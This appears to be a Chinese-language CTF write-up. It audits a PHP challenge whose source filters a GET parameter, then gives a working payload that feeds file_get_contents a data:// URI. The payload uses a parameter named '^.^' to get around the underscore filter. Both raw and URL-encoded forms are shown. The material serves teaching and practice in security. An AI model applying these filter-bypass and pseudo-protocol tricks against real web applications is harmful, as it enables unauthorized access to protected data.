题目:
原文链接
进入通过地址
查看源代码
发现源代码被html实体编码了,还原一下
<?php
header("Content-type: text/html; charset=utf-8");
//当浏览器通过 URL 提供了 ?view-source 参数时,条件将为真。
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include('flag.php');
$smile = 1;
//检查是否未设置名为 ^_^ 的 GET 请求参数。如果未设置该参数,将把 $smile 的值设为 0。
if (!isset($_GET['^_^'])) $smile = 0;
//正则表达式检查名为 ^_^ 的 GET 请求参数是否包含一个点号(.)。如果包含点号,则将 $smile 的值设为 0
if (preg_match('/\./', $_GET['^_^'])) $smile = 0;
//是否包含百分号(%)
if (preg_match('/%/', $_GET['^_^'])) $smile = 0;
//否包含数字
if (preg_match('/[0-9]/', $_GET['^_^'])) $smile = 0;
//是否包含字符串 "http"
if (preg_match('/http/', $_GET['^_^'])) $smile = 0;
//是否包含字符串 "https"
if (preg_match('/https/', $_GET['^_^'])) $smile = 0;
//是否包含字符串 "ftp"
if (preg_match('/ftp/', $_GET['^_^'])) $smile = 0;
//是否包含字符串 "telnet"
if (preg_match('/telnet/', $_GET['^_^'])) $smile = 0;
//是否包含字符串 "—"
if (preg_match('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
//检查名为 ^_^ 的 GET 请求参数所表示的文件是否存在
if ($smile) {
if (@file_exists($_GET['^_^'])) $smile = 0;
}
if ($smile) {
//尝试读取名为 ^_^ 的 GET 请求参数所表示的文件的内容,并将结果存储在 $smile 变量中
$smile = @file_get_contents($_GET['^_^']);
//检查 $smile 变量的值是否等于字符串 "(●'◡'●)"。如果相等,那么意味着读取的文件内容与 "(●'◡'●)" 相匹配,它会输出 $flag 变量的值并终止脚本的执行
if ($smile === "(●'◡'●)") die($flag);
}
?>
审计结果
^.^:变量
过滤特殊字符:"."、"%"、"_"
过滤数字:0-9
过滤协议:http、https、ftp、telnet
由于使用到file_get_contents()函数,它将整个文件读成一个字符串,所以我们考虑使用到伪协议
payload:
无编码:
`index.php?^.^=data://text/plain;charset=unicode,(●'◡'●)`
url编码:
`
index.php?%5E.%5E=data://text/plain;charset=unicode,%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29`
最后flag出来了
最后:
这道题只能从代码审计的角度去看源码,然后根据相应的规则,构造出符合的payload。
由于水平有限,写的可以不是很好,欢迎大佬指教